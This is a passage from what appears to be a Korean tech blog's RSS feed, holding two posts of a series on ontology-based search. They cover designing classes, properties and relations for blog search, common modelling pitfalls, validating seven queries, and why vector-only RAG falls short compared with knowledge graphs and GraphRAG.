&lt;p&gt;&lt;strong&gt;팁:&lt;/strong&gt; 질의는 최소 5개 이상 적어두세요. 1~2개로 시작하면 추후 확장에서 스키마가 무너집니다. 너무 많이 적을 필요는 없고 — 시스템이 답해야 할 &lt;strong&gt;대표 질의&lt;/strong&gt;면 충분합니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;2단계: 클래스 후보 뽑기 — 명사를 모은다&lt;/h2&gt;
&lt;p&gt;이제 질의 안에서 &lt;strong&gt;명사&lt;/strong&gt;를 추출합니다. 명사는 곧 클래스 후보예요.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;명사 뽑기: 글(Post), Claude Code(시리즈), 첫 번째 글(순번 속성), 4월(날짜 속성), GraphRAG(태그), AI(카테고리), 인용 자료(외부 문서), 후속편(글), 초보자(?), 선수 글(글)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;여기서 &lt;strong&gt;클래스로 승격할 것 vs 속성으로 남길 것&lt;/strong&gt;을 골라냅니다. 기준은 단순합니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;명사&lt;/th&gt;
&lt;th&gt;클래스로?&lt;/th&gt;
&lt;th&gt;이유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Post (글)&lt;/td&gt;
&lt;td&gt;O&lt;/td&gt;
&lt;td&gt;핵심 엔티티&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Series (시리즈)&lt;/td&gt;
&lt;td&gt;O&lt;/td&gt;
&lt;td&gt;여러 Post가 묶임, 자체 메타데이터(이름, 순서) 있음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Tag (태그)&lt;/td&gt;
&lt;td&gt;O&lt;/td&gt;
&lt;td&gt;여러 Post와 N:N&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Category (카테고리)&lt;/td&gt;
&lt;td&gt;O&lt;/td&gt;
&lt;td&gt;Post와 1:N, 자체 식별자 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Author (저자)&lt;/td&gt;
&lt;td&gt;O&lt;/td&gt;
&lt;td&gt;향후 다저자 가능성, Person 메타데이터&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ExternalResource (외부 인용 자료)&lt;/td&gt;
&lt;td&gt;O&lt;/td&gt;
&lt;td&gt;블로그 외부 URL, 별개 식별자&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4월, 첫 번째&lt;/td&gt;
&lt;td&gt;X&lt;/td&gt;
&lt;td&gt;Post의 속성(date, seriesOrder)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;초보자&lt;/td&gt;
&lt;td&gt;X&lt;/td&gt;
&lt;td&gt;사용자 페르소나일 뿐, 그래프 노드 아님&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;6개 클래스&lt;/strong&gt;가 나왔습니다. 너무 많아 보이면 좋은 신호예요 — 다음 단계에서 줄이거나 합치게 됩니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3단계: 속성과 관계 도출&lt;/h2&gt;
&lt;p&gt;클래스가 정해지면 두 가지를 채웁니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;속성(Property):&lt;/strong&gt; 클래스 자체가 갖는 값 (제목, 날짜, URL 등)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;관계(Relation):&lt;/strong&gt; 클래스끼리 연결 (writtenBy, hasTag 등)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;속성 정리&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Post
  ├─ slug          (식별자)
  ├─ title         (제목)
  ├─ description   (요약)
  ├─ publishedAt   (작성일)
  ├─ updatedAt     (수정일)
  └─ seriesOrder   (시리즈 내 순번, optional)

Series
  ├─ name          (시리즈명)
  └─ description   (시리즈 소개)

Tag
  └─ name          (태그명)

Category
  ├─ slug          (식별자)
  └─ displayName   (표시명)

Author
  ├─ name          (이름)
  └─ url           (프로필 URL)

ExternalResource
  ├─ url           (식별자)
  └─ title         (자료 제목, optional)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;식별자는 가능하면 &lt;strong&gt;사람이 읽을 수 있는 키&lt;/strong&gt;(slug, url, name)를 씁니다. UUID는 마지막 수단.&lt;/p&gt;
&lt;h3&gt;관계 도출&lt;/h3&gt;
&lt;p&gt;이제 관계를 그립니다. 1단계의 질의 7개를 다시 보면서, 각 질의가 어떤 관계를 타고 도달하는지 따져봅니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;관계&lt;/th&gt;
&lt;th&gt;출발&lt;/th&gt;
&lt;th&gt;도착&lt;/th&gt;
&lt;th&gt;카디널리티&lt;/th&gt;
&lt;th&gt;어느 질의를 위한 건가&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;writtenBy&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Post&lt;/td&gt;
&lt;td&gt;Author&lt;/td&gt;
&lt;td&gt;N:1&lt;/td&gt;
&lt;td&gt;(모든 질의의 기반)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;hasTag&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Post&lt;/td&gt;
&lt;td&gt;Tag&lt;/td&gt;
&lt;td&gt;N:N&lt;/td&gt;
&lt;td&gt;Q2, Q6&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;inCategory&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Post&lt;/td&gt;
&lt;td&gt;Category&lt;/td&gt;
&lt;td&gt;N:1&lt;/td&gt;
&lt;td&gt;Q3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;belongsToSeries&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Post&lt;/td&gt;
&lt;td&gt;Series&lt;/td&gt;
&lt;td&gt;N:1&lt;/td&gt;
&lt;td&gt;Q1, Q5, Q6&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;cites&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Post&lt;/td&gt;
&lt;td&gt;ExternalResource&lt;/td&gt;
&lt;td&gt;N:N&lt;/td&gt;
&lt;td&gt;Q4&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;relatedTo&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Post&lt;/td&gt;
&lt;td&gt;Post&lt;/td&gt;
&lt;td&gt;N:N&lt;/td&gt;
&lt;td&gt;Q5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;prerequisiteOf&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Post&lt;/td&gt;
&lt;td&gt;Post&lt;/td&gt;
&lt;td&gt;N:N&lt;/td&gt;
&lt;td&gt;Q7&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;prerequisiteOf&lt;/code&gt;는 방향이 중요합니다. &quot;A는 B의 선수다&quot;가 &lt;code class=&quot;language-text&quot;&gt;A prerequisiteOf B&lt;/code&gt;인지 &lt;code class=&quot;language-text&quot;&gt;B prerequisiteOf A&lt;/code&gt;인지 한 번에 정해두지 않으면 데이터 입력에서 무조건 헷갈립니다. 저는 &lt;strong&gt;선수 → 후속&lt;/strong&gt; 방향으로 못 박았습니다.&lt;/p&gt;
&lt;h3&gt;한 장으로 그리면&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;                    [Author]
                       ▲
                       │ writtenBy
                       │
[Tag] ◀──hasTag──── [Post] ──cites──▶ [ExternalResource]
                       │
                       │ inCategory          ┌─ relatedTo ─┐
                       ▼                     │             │
                  [Category]                 │             ▼
                                          [Post] ─prerequisiteOf─▶ [Post]
                       ▲
                       │ belongsToSeries
                       │
                       │
                  [Series]&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이 그림이 곧 &lt;strong&gt;블로그 검색 온톨로지의 첫 버전&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;4단계: 흔히 빠지는 함정 4가지&lt;/h2&gt;
&lt;p&gt;여기까지 잘 와도, 실제 데이터를 부어 보면 깨지는 지점이 있습니다. 직접 부딪힌 함정 4가지를 공유합니다.&lt;/p&gt;
&lt;h3&gt;함정 1) 분류 vs 관계 — Category를 클래스로 둘까 속성으로 둘까?&lt;/h3&gt;
&lt;p&gt;처음엔 Category를 그냥 Post의 문자열 속성으로 두려고 했습니다. &lt;code class=&quot;language-text&quot;&gt;post.category = &quot;ai&quot;&lt;/code&gt;처럼요. 그러다 Q3 (&quot;AI 카테고리 글 중 최신 5개&quot;)까지는 잘 돌아가지만, &lt;strong&gt;카테고리에 자체 메타데이터&lt;/strong&gt;(displayName, description, 정렬 순서)가 생기는 순간 속성으로는 부족해집니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;판정 기준:&lt;/strong&gt; 그 명사 자체에 메타데이터가 붙는가? 붙으면 → 클래스. 안 붙으면 → 속성.&lt;/p&gt;
&lt;p&gt;Tag도 같은 고민이 있었지만, Tag는 향후 동의어·상위어 관계(&lt;code class=&quot;language-text&quot;&gt;broader&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;synonym&lt;/code&gt;)가 붙을 가능성이 높아서 클래스로 두는 게 안전했습니다.&lt;/p&gt;
&lt;h3&gt;함정 2) is-a vs has-a — 상속을 남발하지 말 것&lt;/h3&gt;
&lt;p&gt;OWL 같은 시맨틱 웹 도구는 &lt;code class=&quot;language-text&quot;&gt;subClassOf&lt;/code&gt;를 자유롭게 쓸 수 있어서, &quot;Post의 하위에 BlogPost가 있고 그 아래에 TutorialPost가…&quot; 식으로 트리를 키우기 쉽습니다.&lt;/p&gt;
&lt;p&gt;이건 함정입니다. 검색용 온톨로지에서 상속이 의미 있는 경우는 &lt;strong&gt;다형성 질의가 필요할 때&lt;/strong&gt;뿐입니다. (&quot;모든 Post를 찾아줘&quot;가 BlogPost·TutorialPost를 다 잡아야 하는 상황) 그게 아니면 그냥 &lt;strong&gt;Tag로 모델링&lt;/strong&gt;하는 편이 가볍고 유연합니다.&lt;/p&gt;
&lt;p&gt;저는 이번 설계에서 &lt;code class=&quot;language-text&quot;&gt;subClassOf&lt;/code&gt;를 한 번도 안 썼습니다.&lt;/p&gt;
&lt;h3&gt;함정 3) 양방향 관계를 두 개 만들지 말 것&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;Post hasAuthor Author&lt;/code&gt;와 &lt;code class=&quot;language-text&quot;&gt;Author wrote Post&lt;/code&gt;를 둘 다 정의하면, 한쪽만 입력했을 때 그래프가 망가집니다. 그래프 DB는 대부분 &lt;strong&gt;단방향 관계 + 역방향 탐색&lt;/strong&gt;을 지원하니, 관계는 &lt;strong&gt;한 방향으로만&lt;/strong&gt; 정의합니다.&lt;/p&gt;
&lt;p&gt;방향 선택 기준은 단순합니다. &lt;strong&gt;카디널리티가 작은 쪽이 출발점&lt;/strong&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Author → Post는 1:N (저자 한 명이 글 여러 개)&lt;/li&gt;
&lt;li&gt;그래서 &lt;strong&gt;Post → Author 방향&lt;/strong&gt;(&lt;code class=&quot;language-text&quot;&gt;writtenBy&lt;/code&gt;)으로 단일 정의&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;함정 4) 너무 잘게 쪼개기&lt;/h3&gt;
&lt;p&gt;&quot;제목&quot;과 &quot;부제목&quot;을 분리할까? &quot;본문&quot;과 &quot;도입부&quot;를 분리할까? &lt;strong&gt;답은 거의 항상 NO입니다.&lt;/strong&gt; 검색에서 구분이 필요 없는 정보는 한 덩어리로 두세요. 나중에 검색 요구가 생기면 그때 쪼개도 늦지 않습니다.&lt;/p&gt;
&lt;p&gt;설계 단계에서 가장 비싼 실수는 &lt;strong&gt;과소 설계가 아니라 과대 설계&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;검증 — 질의 7개를 다 표현할 수 있는가?&lt;/h2&gt;
&lt;p&gt;설계가 끝났으면 1단계의 질의 7개로 다시 검증합니다. Cypher 같은 그래프 질의어로 머릿속에 그려봅니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;질의&lt;/th&gt;
&lt;th&gt;경로&lt;/th&gt;
&lt;th&gt;표현 가능?&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Q1 시리즈 첫 글&lt;/td&gt;
&lt;td&gt;Series ◀ belongsToSeries ◀ Post (seriesOrder=1)&lt;/td&gt;
&lt;td&gt;✓&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Q2 4월 GraphRAG 글&lt;/td&gt;
&lt;td&gt;Post(publishedAt in 4월) ─hasTag▶ Tag(name=GraphRAG)&lt;/td&gt;
&lt;td&gt;✓&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Q3 AI 카테고리 최신 5개&lt;/td&gt;
&lt;td&gt;Category(slug=ai) ◀ inCategory ◀ Post ORDER BY publishedAt&lt;/td&gt;
&lt;td&gt;✓&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Q4 인용 자료&lt;/td&gt;
&lt;td&gt;Post ─cites▶ ExternalResource&lt;/td&gt;
&lt;td&gt;✓&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Q5 후속/관련&lt;/td&gt;
&lt;td&gt;Post ─belongsToSeries▶ Series ◀ ... 또는 Post ─relatedTo▶ Post&lt;/td&gt;
&lt;td&gt;✓&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Q6 두 태그 모두 쓴 시리즈&lt;/td&gt;
&lt;td&gt;Series ◀ Post ─hasTag▶ Tag (두 번 매치)&lt;/td&gt;
&lt;td&gt;✓&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Q7 선수 글&lt;/td&gt;
&lt;td&gt;Post ◀ prerequisiteOf ◀ Post&lt;/td&gt;
&lt;td&gt;✓&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;7개 모두 표현 가능합니다. 이 시점에서 설계가 일단락된 거예요.&lt;/p&gt;
&lt;p&gt;여기서 한 개라도 표현 안 되는 게 있으면, 그 질의를 위한 관계나 속성을 추가하거나 — 정 안 되면 그 질의를 &lt;strong&gt;검색 범위 밖&lt;/strong&gt;으로 빼는 결정을 합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;다음 편 예고 — 그래프 DB 선정과 적재&lt;/h2&gt;
&lt;p&gt;설계가 끝났으니 다음 편은 본격 구현입니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Neo4j vs GraphDB vs Memgraph&lt;/strong&gt; 비교 — 어떤 기준으로 고르나&lt;/li&gt;
&lt;li&gt;위에서 만든 온톨로지를 실제 그래프 DB 스키마로 옮기기&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;contents/posts/**/index.md&lt;/code&gt; 파일을 파싱해서 그래프에 적재&lt;/li&gt;
&lt;li&gt;적재 후 Cypher로 질의 7개 직접 돌려보기&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;스택을 거기서 확정하니, 1~2편을 따라오신 분들은 자신의 도메인에 맞춰 다른 그래프 DB로 옮겨가셔도 무방합니다. 설계가 스택 독립적이라는 게 이 단계의 가장 큰 장점이에요.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;자주 묻는 질문 (FAQ)&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q1. OWL을 꼭 써야 하나요? 그냥 도식만 그려도 되나요?&lt;/strong&gt;
도식부터 시작해도 됩니다. 이번 편도 OWL 문법 없이 표·다이어그램으로만 정리했죠. OWL은 추론(reasoning)이 필요할 때, 예컨대 &lt;code class=&quot;language-text&quot;&gt;subClassOf&lt;/code&gt;로 자동 분류를 시키고 싶을 때 의미가 생깁니다. 검색만 목적이라면 OWL 없이 충분합니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q2. 속성으로 둘지 클래스로 둘지 매번 헷갈립니다. 더 명확한 판정법이 있을까요?&lt;/strong&gt;
세 가지를 보세요. ① 그 명사가 &lt;strong&gt;여러 다른 엔티티와 N:N으로 연결&lt;/strong&gt;되는가, ② 그 명사 자체에 &lt;strong&gt;메타데이터&lt;/strong&gt;가 붙는가, ③ 그 명사를 &lt;strong&gt;검색의 진입점&lt;/strong&gt;으로 쓸 가능성이 있는가. 하나라도 YES면 클래스. 셋 다 NO면 그냥 속성으로 두세요.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q3. 시리즈 진행하며 온톨로지가 바뀌면 어떡하나요?&lt;/strong&gt;
바뀝니다. 그리고 그게 정상입니다. 중요한 건 &lt;strong&gt;1단계의 질의 리스트를 같이 갱신&lt;/strong&gt;하는 거예요. 질의를 그대로 두고 스키마만 바꾸면 다음 사람(=미래의 나)이 왜 이런 모양인지 모르게 됩니다.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;여러분이 다루는 도메인에서 답하고 싶은 질의 5개를 적어보세요. 그게 곧 온톨로지 설계의 출발점입니다. 댓글로 공유해주시면 시리즈에 인용할 수도 있어요.&lt;/p&gt;
&lt;p&gt;다음 편에서 본격 구축 들어갑니다.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[온톨로지 기반 검색이란? — 벡터 검색만으로 부족했던 이유]]></title><description><![CDATA[안녕하세요, 자바파커입니다. "RAG 만들어봤는데, 비슷한 문장은 잘 찾는데 정작 원하는 답이 안 나옵니다." 지난달 사이드 프로젝트로 블로그 RAG 검색을 만들어보면서 제가 직접 느낀 답답함입니다. 임베딩 벡터 검색까지 붙였는데도, "Claude…]]></description><link>https://blog.javapark.kr/ontology-search-01-why/</link><guid isPermaLink="false">https://blog.javapark.kr/ontology-search-01-why/</guid><pubDate>Wed, 20 May 2026 09:00:00 GMT</pubDate><content:encoded>&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;RAG 만들어봤는데, 비슷한 문장은 잘 찾는데 정작 원하는 답이 안 나옵니다.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;지난달 사이드 프로젝트로 블로그 RAG 검색을 만들어보면서 제가 직접 느낀 답답함입니다. 임베딩 벡터 검색까지 붙였는데도, &quot;Claude Code 훅으로 자동 커밋하는 글&quot;을 물어보면 자동화·훅·커밋이 들어간 엉뚱한 글을 섞어서 가져옵니다. 비슷한 경험, 혹시 하고 계신가요?&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — &lt;strong&gt;벡터 검색은 &apos;의미가 비슷한 것&apos;은 잘 찾지만, &apos;관계가 맞는 것&apos;은 못 찾습니다.&lt;/strong&gt; 그리고 이걸 해결하기 위한 오래된 도구가 다시 주목받고 있습니다. 바로 &lt;strong&gt;온톨로지&lt;/strong&gt;(Ontology)입니다.&lt;/p&gt;
&lt;p&gt;이번 시리즈에서는 6편에 걸쳐 &lt;strong&gt;온톨로지를 이용한 검색 기능&lt;/strong&gt;을 직접 설계하고 구현해보려 합니다. 이번 1편은 그 첫 단추로, &quot;왜 굳이 온톨로지인가?&quot;부터 풀어봅니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;벡터 검색만으로 왜 부족할까?&lt;/h2&gt;
&lt;p&gt;지난 2년간 RAG(Retrieval Augmented Generation)는 거의 &quot;임베딩 + 벡터 DB&quot;의 동의어처럼 쓰였습니다. 텍스트를 벡터로 바꿔 코사인 유사도로 가까운 문서를 찾는 방식이죠. 충분히 강력하지만, 실제로 써보면 세 가지 한계가 반복적으로 부딪힙니다.&lt;/p&gt;
&lt;h3&gt;1) 의미는 알지만 관계는 모른다&lt;/h3&gt;
&lt;p&gt;벡터는 &lt;strong&gt;비슷한 단어가 많이 등장하는 문서&lt;/strong&gt;를 잘 찾습니다. 하지만 그 문서들 사이의 &lt;strong&gt;관계&lt;/strong&gt;는 표현하지 못합니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;질문&lt;/th&gt;
&lt;th&gt;벡터 검색이 찾는 것&lt;/th&gt;
&lt;th&gt;사용자가 원한 것&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&quot;Claude Code 시리즈 첫 번째 글&quot;&lt;/td&gt;
&lt;td&gt;&quot;Claude Code&quot;, &quot;시리즈&quot;라는 단어가 많이 나오는 글들&lt;/td&gt;
&lt;td&gt;시리즈 메타데이터상 1편으로 지정된 글&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&quot;내가 4월에 쓴 GraphRAG 글&quot;&lt;/td&gt;
&lt;td&gt;&quot;4월&quot;, &quot;GraphRAG&quot;가 본문에 등장하는 글&lt;/td&gt;
&lt;td&gt;작성일이 4월이면서 태그가 GraphRAG인 글&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&quot;이 글이 인용한 원본 논문&quot;&lt;/td&gt;
&lt;td&gt;본문이 비슷한 다른 글&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;cites&lt;/code&gt; 관계로 연결된 원본 문서&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;벡터는 &quot;비슷함&quot;만 알지 &lt;strong&gt;&quot;~의 작성자&quot;&lt;/strong&gt;, &lt;strong&gt;&quot;~의 1편&quot;&lt;/strong&gt;, &lt;strong&gt;&quot;~를 인용함&quot;&lt;/strong&gt; 같은 관계를 모릅니다.&lt;/p&gt;
&lt;h3&gt;2) Hallucination을 막을 사실 구조가 없다&lt;/h3&gt;
&lt;p&gt;LLM이 환각(hallucination)을 일으키는 핵심 이유 중 하나는, 검색된 문서에 &lt;strong&gt;사실 관계가 명시되어 있지 않기 때문&lt;/strong&gt;입니다. 벡터로 가져온 문서 5개에서 LLM이 &quot;아마 이런 뜻일 거야&quot;라고 추론해버리는 거죠.&lt;/p&gt;
&lt;p&gt;반대로 &quot;X is-a Y&quot;, &quot;A authored-by B&quot; 같은 &lt;strong&gt;명시적 사실&lt;/strong&gt;(triple)이 검색 결과에 들어오면, LLM은 그걸 그대로 인용할 수 있습니다. 추측할 여지가 줄어듭니다.&lt;/p&gt;
&lt;h3&gt;3) 도메인 어휘의 정합성을 보장 못 한다&lt;/h3&gt;
&lt;p&gt;블로그 검색을 예로 들면, &quot;AI&quot;, &quot;인공지능&quot;, &quot;LLM&quot;, &quot;생성형 AI&quot;는 사람에겐 비슷한 의미지만 벡터 공간에서는 거리감이 제각각입니다. 그렇다고 모든 동의어를 데이터로 학습시킬 수도 없습니다.&lt;/p&gt;
&lt;p&gt;온톨로지로 &lt;code class=&quot;language-text&quot;&gt;LLM ⊑ GenerativeAI ⊑ AI&lt;/code&gt; 같은 위계를 한 번만 정의해두면, &quot;AI&quot; 질의에 LLM 글까지 자연스럽게 포함됩니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;그래서 온톨로지가 뭐길래?&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;온톨로지&lt;/strong&gt;(Ontology)는 원래 철학 용어로 &quot;존재론&quot;을 뜻합니다. 컴퓨터 과학에서는 이렇게 정의합니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;어떤 도메인에 존재하는 &lt;strong&gt;개념(클래스)&lt;/strong&gt;, 그 개념의 &lt;strong&gt;속성&lt;/strong&gt;, 개념들 사이의 &lt;strong&gt;관계&lt;/strong&gt;를 형식적으로 명세한 것.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;용어가 무겁지만, 사실 우리가 매일 쓰는 것입니다. 블로그를 예로 들어볼게요.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;클래스(Class)        : Post, Author, Tag, Series, Category
속성(Property)       : title, publishedAt, slug, description
관계(Relation)       : writtenBy, hasTag, belongsToSeries, cites&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이걸 한 번에 그리면 아래와 같습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;[Post] --writtenBy--&gt; [Author]
  |  \--hasTag-------&gt; [Tag]
  |  \--belongsToSeries-&gt; [Series]
  |  \--cites--------&gt; [Post]
[Series] --hasCategory--&gt; [Category]&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;클래스·속성·관계&lt;/strong&gt; 세 가지만 잘 잡아도 &quot;Claude Code 시리즈의 1편을 쓴 저자가 인용한 다른 글&quot; 같은 질의를 처리할 수 있게 됩니다. 단순한 비슷함을 넘어 &lt;strong&gt;관계 탐색&lt;/strong&gt;이 가능해지는 거죠.&lt;/p&gt;
&lt;h3&gt;온톨로지 vs 지식 그래프, 헷갈리는 두 단어&lt;/h3&gt;
&lt;p&gt;둘은 같은 듯 다릅니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;구분&lt;/th&gt;
&lt;th&gt;온톨로지&lt;/th&gt;
&lt;th&gt;지식 그래프&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;비유&lt;/td&gt;
&lt;td&gt;매뉴얼·설계도&lt;/td&gt;
&lt;td&gt;실제로 채워진 데이터베이스&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;내용&lt;/td&gt;
&lt;td&gt;&quot;Post에는 Author가 1명 있고, hasTag 관계로 Tag와 연결된다&quot;&lt;/td&gt;
&lt;td&gt;&quot;글 &apos;하네스 엔지니어링&apos;은 자바파커가 작성했고, 태그는 AI·Claude Code다&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;위치&lt;/td&gt;
&lt;td&gt;스키마(schema)&lt;/td&gt;
&lt;td&gt;인스턴스(instance)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;쉽게 말해 &lt;strong&gt;온톨로지는 스키마, 지식 그래프는 그 스키마에 데이터를 채워 넣은 그래프&lt;/strong&gt;입니다. 이 시리즈에서는 둘을 같이 만듭니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;왜 지금 다시 주목받는가? — GraphRAG의 부상&lt;/h2&gt;
&lt;p&gt;온톨로지·시맨틱 웹은 사실 2000년대 초반부터 있었습니다. OWL, RDF, SPARQL — 학교에서 한 번쯤 들어보셨을 단어죠. 한동안 &quot;이론은 좋은데 현업에 잘 안 쓰임&quot;이라는 평가가 많았습니다.&lt;/p&gt;
&lt;p&gt;그런데 2024년 즈음부터 분위기가 바뀌었습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Microsoft GraphRAG&lt;/strong&gt; 공개 (2024) — 벡터 RAG + 지식 그래프 결합&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Neo4j + LangChain/LlamaIndex 통합&lt;/strong&gt; 본격화&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;LLM이 Cypher/SPARQL을 자동 생성&lt;/strong&gt;할 수 있게 되면서, 그래프 질의의 진입 장벽이 급격히 낮아짐&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;요약하면, &lt;strong&gt;LLM이 그래프 질의어를 대신 써주는 시대&lt;/strong&gt;가 오면서 온톨로지·지식 그래프의 인프라 비용이 확 떨어진 겁니다. 직접 SPARQL을 외워서 쓸 필요가 없으니, 남는 건 &lt;strong&gt;어떤 온톨로지를 잘 설계하느냐&lt;/strong&gt;의 문제만 됩니다.&lt;/p&gt;
&lt;p&gt;그리고 그 결과는 꽤 인상적입니다. 한 번 보시죠.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
